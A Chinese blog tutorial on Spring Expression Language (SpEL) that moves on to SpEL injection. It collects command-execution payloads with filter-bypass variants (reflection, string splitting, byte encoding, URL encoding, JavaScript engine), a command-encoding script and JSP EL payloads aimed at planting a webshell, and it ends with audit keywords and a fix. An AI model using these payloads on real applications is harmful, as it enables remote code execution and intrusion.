赞
踩
在Spring 3 中引入了 Spring 表达式语言 (Spring Expression Language,简称SpEL),
这是一种功能强大的表达式语言,支持在运行时查询和操作对象图,可以与基于XML和基于注解的Spring配置还有bean定义一起使用。
在Spring系列产品中,SpEL是表达式计算的基础,实现了与Spring生态系统所有产品无缝对接。Spring框架的核心功能之一就是通过依赖注入的方式来管理Bean之间的依赖关系,而SpEL可以方便快捷的对ApplicationContext中的Bean进行属性的装配和提取。由于它能够在运行时动态分配值,因此可以为我们节省大量Java代码。
SpEL特性:
SpEL 使用 #{ } 作为定界符 ,所有在打括号中的字符都被认为表达式,在其中可以使用 SpEL 运算符 变量 引用 以及属性和方法等。
# { } 和 $ { } 的区别:
#{'${}'}
字面值
最简单的Spel 表达式就是仅包含一个字面值 ,此时需要用到 # { } 定界符,注意若是指定为字符串的话 需要添加单引号括起来
- <property name="message1" value="#{666}"/>
- <property name="message2" value="#{'mi1k7ea'}"/>
还可以直接与字符串混用:
<property name="message" value="the value is #{666}"/>
Java基本数据类型都可以出现在SpEL表达式中,表达式中的数字也可以使用科学计数法:
<property name="salary" value="#{1e4}"/>
演示
直接用Spring 的 HelloWorld 例子:
你好世界.java:
- public class HelloWorld {
- private String message;
-
- public void setMessage(String message){
- this.message = message;
- }
-
- public void getMessage(){
- System.out.println("Your Message : " + message);
- }
- }
主应用.java:
- import com.mi1k7ea.service.AccountService;
- import org.springframework.context.ApplicationContext;
- import org.springframework.context.support.ClassPathXmlApplicationContext;
-
- public class MainApp {
- public static void main(String[] args) {
- ApplicationContext context = new ClassPathXmlApplicationContext("Beans.xml");
- HelloWorld obj = (HelloWorld) context.getBean("helloWorld");
- obj.getMessage();
- }
- }
Beans.xml
- <beans xmlns="http://www.springframework.org/schema/beans"
- xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
- xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
- <bean id="helloWorld" class="Spel.HelloWorld">
- <property name="message" value="#{'snowy'} is #{1e7}" />
- </bean>
-
- </beans>
运行结果:
Your Message : snowy is 1.0E7
引用 Bean
SpeL 表达式能够通过其他Bean的ID 进行引用,直接在 # { } 符号中写入ID 名即可,无需添加单引号括起来。 如:
- <!--原来的写法,通过构造函数实现依赖注入-->
- <!--<constructor-arg ref="test"/>-->
- <constructor-arg value="#{test}"/>
SpEL 表达式能够访问类的属性
比如,carl参赛者是一位模仿高手,kenny唱什么歌,弹奏什么乐器,他就唱什么歌,弹奏什么乐器:
- <bean id="kenny" class="com.spring.entity.Instrumentalist"
- p:song="May Rain"
- p:instrument-ref="piano"/>
- <bean id="carl" class="com.spring.entity.Instrumentalist">
- <property name="instrument" value="#{kenny.instrument}"/>
- <property name="song" value="#{kenny.song}"/>
- </bean>
相当于 执行了:
- >Instrumentalist carl = new Instrumentalist();
- >carl.setSong(kenny.getSong());
SpEL 表达式还可以访问类的方法:
如现在有个SongSelector 类,该类有个 selectSong() 方法,这样的话 carl 不需要模仿别人,直接开始吟唱 songSelector 所选的歌了
> <property name="song" value="#{SongSelector.selectSong()}"/>
carl 有个癖好 , 歌曲名不是大写的,他就浑身难受,我们需要做的就是为他返回的歌曲调用toUpperCase() 方法
<property name="song" value="#{SongSelector.selectSong().toUpperCase()}"/>
注意:这里我们不能确保不抛出 NullPointerException,,为了避免这个讨厌的问题,我们可以使用SpEL 的null - safe 存取器
<property name="song" value="#{SongSelector.selectSong()?.toUpperCase()}"/>
? . 符号 会确保左边的表达式不会为 null ,如果为null 的话 就不会调用 toUpperCase()方法
这里修改基于构造函数的依赖注入的实例:
SpellChecker.java:
- public class SpellChecker {
- public SpellChecker(){
- System.out.println("Inside SpellChecker constructor." );
- }
- public void checkSpelling() {
- System.out.println("Inside checkSpelling." );
- }
- }
TextEditor.java:
- public class TextEditor {
- private SpellChecker spellChecker;
- public TextEditor(SpellChecker spellChecker) {
- System.out.println("Inside TextEditor constructor." );
- this.spellChecker = spellChecker;
- }
- public void spellCheck() {
- spellChecker.checkSpelling();
- }
- }
MainApp.java:
- import org.springframework.context.ApplicationContext;
- import org.springframework.context.support.ClassPathXmlApplicationContext;
-
- public class MainApp {
- public static void main(String[] args) {
- ApplicationContext context = new ClassPathXmlApplicationContext("Beans.xml");
- TextEditor te = (TextEditor) context.getBean("textEditor");
- te.spellCheck();
- }
- }
Beans.xml,通过的方式替换掉之前的ref属性设置value="#{bean id}"
- <beans xmlns="http://www.springframework.org/schema/beans"
- xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
- xsi:schemaLocation="http://www.springframework.org/schema/beans
- http://www.springframework.org/schema/beans/spring-beans-3.0.xsd ">
-
- <!-- Definition for textEditor bean -->
- <bean id="textEditor" class="com.mi1k7ea.TextEditor">
- <!--<constructor-arg ref="spellChecker"/>-->
- <constructor-arg value="#{spellChecker}"/>
- </bean>
-
- <!-- Definition for spellChecker bean -->
- <bean id="spellChecker" class="com.mi1k7ea.SpellChecker" />
-
- </beans>
运行输出结果:
- Inside SpellChecker constructor.
- Inside TextEditor constructor.
- Inside checkSpelling.
在SpEL表达式中,使用 T(Type) 运算符会调用类的 作用域和方法,换句话说,就是可以通过该类类型表达式 来操作类。
使用 T(Type) 来表示 java.lang.Class 实例,Type 必须是类全限定名,但 "java.lang" 包除外, 因为 SpEL 已经内置了该包,即该包下的类可以不指定具体的包名; 使用类类型表达式还可以进行访问类静态方法 和 类静态字段。
在XML 配置文件中的使用实例,要调用java.lang.Math 来获取0~1 的随机数:
<property name="random" value="#{T(java.lang.Math).random()}"/>
Expression(表达式)中使用示例:
- ExpressionParser parser = new SpelExpressionParser();
- // java.lang 包类访问
- Class<String> result1 = parser.parseExpression("T(String)").getValue(Class.class);
- System.out.println(result1);
- //其他包类访问
- String expression2 = "T(java.lang.Runtime).getRuntime().exec('open /Applications/Calculator.app')";
- Class<Object> result2 = parser.parseExpression(expression2).getValue(Class.class);
- System.out.println(result2);
- //类静态字段访问
- int result3 = parser.parseExpression("T(Integer).MAX_VALUE").getValue(int.class);
- System.out.println(result3);
- //类静态方法调用
- int result4 = parser.parseExpression("T(Integer).parseInt('1')").getValue(int.class);
- System.out.println(result4)
在前面字面值的 Demo中修改 Beans.xml 即可:
- <?xml version="1.0" encoding="UTF-8"?>
- <beans xmlns="http://www.springframework.org/schema/beans"
- xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
- xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
-
-
- <bean id ="hello" class="Spel.eztest.HelloWorld">
- <property name="message" value="#{T(java.lang.Math)?.random() }"/>
- </bean>
-
- </beans>
输出结果:
Your Message : 0.23296371273385708
修改其 value中 类类型表达式的类为 RUntime 并调用其执行方法即可:
- <?xml version="1.0" encoding="UTF-8"?>
- <beans xmlns="http://www.springframework.org/schema/beans"
- xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
- xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
-
-
- <bean id ="hello" class="Spel.eztest.HelloWorld">
- <property name="message" value="#{T(Runtime).getRuntime().exec('calc')}"/>
- </bean>
-
- </beans>
运行 就弹出计算器。
SpEL 的用法有三种形式,一种是在注解 @Value 中; 一种是XML 配置;最后一种是在代码块中使用Expression
前面的就是以XML配置为例 对SpEL 表达式的用法进行的说明,而注解@Value 的用法例子如下:
- public class EmailSender {
- @Value("${spring.mail.username}")
- private String mailUsername;
- @Value("#{ systemProperties['user.region'] }")
- private String defaultLocale;
- //...
- }
由于后续分析各种 Spring VCVE漏洞都是基于 Expression 形式的 SPEL 表达式注入,因此这里再单独说明SpEL 表达式 Expression形式用法
步骤
SpEL 在求表达式值时一般分为四步,其中第三步可选:首先构造一个解析器,其次解析器解析字符串表达式,在此构造上下文,最后根据上下文得到表达式运算后的值。
- ExpressionParser parser = new SpelExpressionParser();
- Expression expression = parser.parseExpression("('Hello' + ' Mi1k7ea').concat(#end)");
- EvaluationContext context = new StandardEvaluationContext();
- context.setVariable("end", "!");
- System.out.println(expression.getValue(context));
具体步骤如下:
主要接口
Demo
应用实例如下,和前面XML 配置的用法区别在于程序会将这里传入 parseExpression() 函数的字符串参数 当SpEL 表达式来解析,而无需通过 #{ } 符号来注明:
- public class ExpressionTest {
- public static void main(String[] args) {
-
- // 字符串字面量
- //String spel = "123+456";
- // 算数运算
- //String spel = "123+456";
- // 操作类弹计算器,当然java.lang包下的类是可以省略包名的
- String spel = "T(java.lang.Runtime).getRuntime().exec(\"calc\")";
- // String spel = "T(java.lang.Runtime).getRuntime().exec(\"calc\")";
- ExpressionParser parser = new SpelExpressionParser(); //spel解析器
- Expression expression = parser.parseExpression(spel); //解析表达式
- System.out.println(expression.getValue()); //取值
- }
- }
类实例化
类实例化同样使用JAVA关键字new ,类名必须是全限定名,但java.lang包内的类型除外
- String spel = "new java.util.Date()";
- ExpressionParser parser = new SpelExpressionParser();
- Expression expression = parser.parseExpression(spel);
- System.out.println(expression.getValue());
引用自 SpEL表达式 | MrBird
SpEL 提供了以下几种运算符:
运算符类型 | 运算符 |
算数运算 | +, -, *, /, %, ^ |
关系运算 | <, >, ==, <=, >=, lt, gt, eq, le, ge |
逻辑运算 | and, or, not, ! |
条件运算 | ?:(ternary), ?:(Elvis) |
正则表达式 | matches |
<property name="add" value="#{counter.total+42}"/>
加号还可以用于字符串拼接:
<property name="blogName" value="#{my blog name is+' '+mrBird }"/>
^ 运算符 执行幂运算,其余和java一样
判断一个 Bean 的某个 属性是否等于 100:
<property name="eq" value="#{counter.total==100}"/>
返回值是boolean类型。关系运算符唯一需要注意的是:在Spring XML配置文件中直接写>=和<=会报错。因为这”<”和”>”两个符号在XML中有特殊的含义。所以实际使用时,最号使用文本类型代替符号
运算符 | 符号 | 文本类型 |
---|---|---|
等于 | == | eq |
小于 | < | lt |
小于等于 | <= | le |
大于 | > | gt |
大于等于 | >= | ge |
如:
<property name="eq" value="#{counter.total le 100}"/>
SpEL 表达式提供了多种逻辑运算符,其含义和JAVA一样 只不过符号不一样
使用and 运算符:
<property name="largeCircle" value="#{shape.kind == 'circle' and shape.perimeter gt 10000}"/>
两边为true 时才返回true
其余操作一样,只不过非运算有 not 和 ! 两种符号可供选择,非运算 :
<property name="outOfStack" value="#{!product.available}"/>
条件运算符 类似于 JAVA的三目运算符:
<property name="instrument" value="#{songSelector.selectSong() == 'May Rain' ? piano:saxphone}"/>
当选择的歌曲为”May Rain”的时候,一个id为piano的Bean将装配到instrument属性中,否则一个id为saxophone的Bean将装配到instrument属性中。注意区别piano和字符串“piano”!
一个常见的三目运算符的使用场合是判断是否为null值:
<property name="song" value="#{kenny.song !=null ? kenny.song:'Jingle Bells'}"/>
这里, kenny.song 引用重复了两次,SpEL 提供了三目运算符的变体来简化表达式:
<property name="song" value="#{kenny.song !=null ?:'Jingle Bells'}"/>
在以上示例中, 如果 kenny.song 不为null ,那么表达式的求值结果是kenny.song 否则就是 'Jingle Bells' 。
验证邮箱:
<property name="email" value="#{admin.email matches '[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\.com'}"/>
SpEL 表达式支持对集合进行操作。
创建一个 City类:
- public class City {
- private String name;
- private String state;
- private int population;
- public String getName() {
- return name;
- }
- public void setName(String name) {
- this.name = name;
- }
- public String getState() {
- return state;
- }
- public void setState(String state) {
- this.state = state;
- }
- public int getPopulation() {
- return population;
- }
- public void setPopulation(int population) {
- this.population = population;
- }
- }
修改Beans.xml,使用<util:list>
元素配置一个包含City对象的List集合:
- <beans xmlns="http://www.springframework.org/schema/beans"
- xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
- xmlns:p="http://www.springframework.org/schema/p"
- xmlns:util="http://www.springframework.org/schema/util"
- xsi:schemaLocation="http://www.springframework.org/schema/beans
- http://www.springframework.org/schema/beans/spring-beans-3.0.xsd
- http://www.springframework.org/schema/util
- http://www.springframework.org/schema/util/spring-util-4.0.xsd">
-
- <util:list id="cities">
- <bean class="com.mi1k7ea.City" p:name="Chicago"
- p:state="IL" p:population="2853114"/>
- <bean class="com.mi1k7ea.City" p:name="Atlanta"
- p:state="GA" p:population="537958"/>
- <bean class="com.mi1k7ea.City" p:name="Dallas"
- p:state="TX" p:population="1279910"/>
- <bean class="com.mi1k7ea.City" p:name="Houston"
- p:state="TX" p:population="2242193"/>
- <bean class="com.mi1k7ea.City" p:name="Odessa"
- p:state="TX" p:population="90943"/>
- <bean class="com.mi1k7ea.City" p:name="El Paso"
- p:state="TX" p:population="613190"/>
- <bean class="com.mi1k7ea.City" p:name="Jal"
- p:state="NM" p:population="1996"/>
- <bean class="com.mi1k7ea.City" p:name="Las Cruces"
- p:state="NM" p:population="91865"/>
- </util:list>
-
- </beans>
访问集合成员:
SpEL表达式支持通过#{集合ID[i]}
的方式来访问集合中的成员。
定义一个ChoseCity类:
- <bean id="choseCity" class="com.mi1k7ea.ChoseCity">
- <property name="city" value="#{cities[0]}"/>
- </bean>
MainApp.java,实例化这个Bean:
- import org.springframework.context.ApplicationContext;
- import org.springframework.context.support.ClassPathXmlApplicationContext;
-
- public class MainApp {
- public static void main(String[] args) {
- ApplicationContext context = new ClassPathXmlApplicationContext("Beans.xml");
- ChoseCity c = (ChoseCity)context.getBean("choseCity");
- System.out.println(c.getCity().getName());
- }
- }
运行无误则输出 "Chicago"
随意的选择一个city , 中括号 [ ] 运算始终通过索引访问集合中的成员
<property name="city" value="#{cities[T(java.lang.Math).random()*cities.size()]}"/>
此时会随机访问一个集合成员并输出。
SpEL表达式中提供了查询运算符来实现查询符合条件的集合成员:
.?[]
:返回所有符合条件的集合成员;.^[]
:从集合查询中查出第一个符合条件的集合成员;.$[]
:从集合查询中查出最后一个符合条件的集合成员;修改ChoseCity类,将city属性类型改为City列表类型:
- import java.util.List;
-
- public class ChoseCity {
- private List<City> city;
-
- public List<City> getCity() {
- return city;
- }
- public void setCity(List<City> city) {
- this.city = city;
- }
- }
修改Beans.xml:
- <bean id="choseCity" class="com.mi1k7ea.ChoseCity">
- <property name="city" value="#{cities.?[population gt 100000]}"/>
- </bean>
修改MainApp.java:
- import org.springframework.context.ApplicationContext;
- import org.springframework.context.support.ClassPathXmlApplicationContext;
-
- public class MainApp {
- public static void main(String[] args) {
- ApplicationContext context = new ClassPathXmlApplicationContext("Beans.xml");
- ChoseCity c = (ChoseCity)context.getBean("choseCity");
- for(City city:c.getCity()){
- System.out.println(city.getName());
- }
- }
- }
运行输出:
- Chicago
- Atlanta
- Dallas
- Houston
- El Paso
在SpEL表达式中,变量定义通过EvaluationContext类的setVariable(variableName, value)函数来实现;在表达式中使用”#variableName”来引用;除了引用自定义变量,SpEL还允许引用根对象及当前上下文对象:
#this
:使用当前正在计算的上下文;#root
:引用容器的root对象;示例,使用setVariable()函数定义了名为variable的变量,并且通过#variable
来引用,同时尝试引用根对象和上下文对象:
- ExpressionParser parser = new SpelExpressionParser();
- EvaluationContext context = new StandardEvaluationContext("snowy");
- context.setVariable("variable", "666");
- String result1 = parser.parseExpression("#variable").getValue(context, String.class);
- System.out.println(result1);
- String result2 = parser.parseExpression("#root").getValue(context, String.class);
- System.out.println(result2);
- String result3 = parser.parseExpression("#this").getValue(context, String.class);
- System.out.println(result3);
输出:
- 666
- snowy
- snowy
漏洞原理
SimpleEvaluationContext和StandardEvaluationContext是SpEL提供的两个EvaluationContext:
SimpleEvaluationContext旨在仅支持SpEL语言语法的一个子集,不包括 Java类型引用、构造函数和bean引用;而StandardEvaluationContext是支持全部SpEL语法的。
由前面知道,SpEL表达式是可以操作类及其方法的,可以通过类类型表达式T(Type)来调用任意类方法。这是因为在不指定EvaluationContext的情况下默认采用的是StandardEvaluationContext,而它包含了SpEL的所有功能,在允许用户控制输入的情况下可以成功造成任意命令执行。
如下,前面的例子中已提过:
- import org.springframework.expression.Expression;
- import org.springframework.expression.ExpressionParser;
- import org.springframework.expression.spel.standard.SpelExpressionParser;
-
- public class MainApp {
- public static void main(String[] args) throws Exception {
- String spel = "T(java.lang.Runtime).getRuntime().exec(\"calc\")";
- ExpressionParser parser = new SpelExpressionParser();
- Expression expression = parser.parseExpression(spel);
- System.out.println(expression.getValue());
- }
- }
- // PoC原型
-
- // Runtime
- T(java.lang.Runtime).getRuntime().exec("calc")
- T(Runtime).getRuntime().exec("calc")
-
- // ProcessBuilder
- new java.lang.ProcessBuilder({'calc'}).start()
- new ProcessBuilder({'calc'}).start()
-
- ******************************************************************************
- // Bypass技巧
-
- // 反射调用
- T(String).getClass().forName("java.lang.Runtime").getRuntime().exec("calc")
-
- // 同上,需要有上下文环境
- #this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc")
-
- // 反射调用+字符串拼接,绕过如javacon题目中的正则过滤
- T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})
-
- // 同上,需要有上下文环境
- #this.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})
-
- // 当执行的系统命令被过滤或者被URL编码掉时,可以通过String类动态生成字符,Part1
- // byte数组内容的生成后面有脚本
- new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()
-
- // 当执行的系统命令被过滤或者被URL编码掉时,可以通过String类动态生成字符,Part2
- // byte数组内容的生成后面有脚本
- T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(99)))
-
- // JavaScript引擎通用PoC
- T(javax.script.ScriptEngineManager).newInstance().getEngineByName("nashorn").eval("s=[3];s[0]='cmd';s[1]='/C';s[2]='calc';java.la"+"ng.Run"+"time.getRu"+"ntime().ex"+"ec(s);")
-
- T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval("xxx"),)
-
- // JavaScript引擎+反射调用
- T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})),)
-
- // JavaScript引擎+URL编码
- // 其中URL编码内容为:
- // 不加最后的getInputStream()也行,因为弹计算器不需要回显
- T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(java.net.URLDecoder).decode("%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%61%6c%63%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29")),)
-
- // 黑名单过滤".getClass(",可利用数组的方式绕过,还未测试成功
- ''['class'].forName('java.lang.Runtime').getDeclaredMethods()[15].invoke(''['class'].forName('java.lang.Runtime').getDeclaredMethods()[7].invoke(null),'calc')
-
- // JDK9新增的shell,还未测试
- T(SomeWhitelistedClassNotPartOfJDK).ClassLoader.loadClass("jdk.jshell.JShell",true).Methods[6].invoke(null,{}).eval('whatever java code in one statement').toString()
CreateAscii.py,用于String类动态生成字符的字符ASCII码转换生成:
- message = input('Enter message to encode:')
-
- print('Decoded string (in ASCII):\n')
-
- print('T(java.lang.Character).toString(%s)' % ord(message[0]), end="")
- for ch in message[1:]:
- print('.concat(T(java.lang.Character).toString(%s))' % ord(ch), end=""),
- print('\n')
-
- print('new java.lang.String(new byte[]{', end=""),
- print(ord(message[0]), end="")
- for ch in message[1:]:
- print(',%s' % ord(ch), end=""),
- print(')}')
其他的一些payload:
- // 转自:https://www.jianshu.com/p/ce4ac733a4b9
-
- ${pageContext} 对应于JSP页面中的pageContext对象(注意:取的是pageContext对象。)
-
- ${pageContext.getSession().getServletContext().getClassLoader().getResource("")} 获取web路径
-
- ${header} 文件头参数
-
- ${applicationScope} 获取webRoot
-
- ${pageContext.request.getSession().setAttribute("a",pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("命令").getInputStream())} 执行命令
-
-
- // 渗透思路:获取webroot路径,exec执行命令echo写入一句话。
-
- <p th:text="${#this.getClass().forName('java.lang.System').getProperty('user.dir')}"></p> //获取web路径
全局搜索关键特征:
- //关键类
- org.springframework.expression.Expression
- org.springframework.expression.ExpressionParser
- org.springframework.expression.spel.standard.SpelExpressionParser
-
- //调用特征
- ExpressionParser parser = new SpelExpressionParser();
- Expression expression = parser.parseExpression(str);
- expression.getValue()
- expression.setValue()
最直接的修复方法是使用SimpleEvaluationContext替换StandardEvaluationContext。
Demo:
- String spel = "T(java.lang.Runtime).getRuntime().exec(\"calc\")";
- ExpressionParser parser = new SpelExpressionParser();
- Student student = new Student();
- EvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().withRootObject(student).build();
- Expression expression = parser.parseExpression(spel);
- System.out.println(expression.getValue(context));
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。